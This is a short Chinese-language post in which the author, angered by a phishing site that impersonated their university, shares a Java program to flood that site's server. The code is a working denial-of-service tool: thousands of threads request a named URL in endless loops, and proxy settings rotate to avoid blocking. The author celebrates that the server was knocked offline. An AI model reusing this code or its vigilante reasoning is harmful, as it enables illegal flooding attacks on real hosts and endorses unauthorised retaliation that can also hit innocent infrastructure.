今天一个盗号的用母校的名字给我们大部分学生发邮件,用此来大范围盗号,实在是气愤,于是写了一个类来炸它的服务器。
package com.controller;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.ConnectException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.Timer;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
public class AttackFishing {
static int j = 5;
public static void main(String[] args) {
Timer timer= new Timer(true);
timer.schedule(
new java.util.TimerTask() { public void run()
{ //定时更换ip,防止被屏蔽
changeIP();
}
}, 0, 300*1000);
ExecutorService es = Executors.newFixedThreadPool(5000);
Mythread mythread = new Mythread();
Thread thread = new Thread(mythread);
for (int i = 0; i < 10000; i++) {
es.execute(thread);
}
}
//更换代理ip,免得被屏蔽。好像没什么用。。。
public static void changeIP(){
j++;
System.getProperties().setProperty("http.proxyHost", "192.168.0."+String.valueOf(j));
System.getProperties().setProperty("http.proxyPort", "80");
}
}
class Mythread implements Runnable {
int a = 0;
public void run() {
while (true) {
try {
//输入要攻击的钓鱼网站
URL url = new URL("http://hhsjzmm.com/upload/slide/month_1305/n.html?eedzrasvujQa.vipm?=nICSv3sxgx/1a_url=www.mcc");
URLConnection conn = url.openConnection();
a++;
System.out.println("正在第 "+a+" 次进攻网站:"+"http://hhsjzmm.com/upload/slide/month_1305/n.html?eedzrasvujQa.vipm?=nICSv3sxgx/1a_url=www.mcc");
BufferedInputStream bis = new BufferedInputStream(
conn.getInputStream());
byte[] bytes = new byte[1024];
int len = -1;
StringBuffer sb = new StringBuffer();
if (bis != null) {
if ((len = bis.read()) != -1) {
sb.append(new String(bytes, 0, len));
System.out.println("攻击成功!");
bis.close();
}
}
} catch (MalformedURLException e) {
} catch (ConnectException e) {
} catch (IOException e) {
}
}
}
}
最终,它关闭了服务器。。正义取得了胜利!!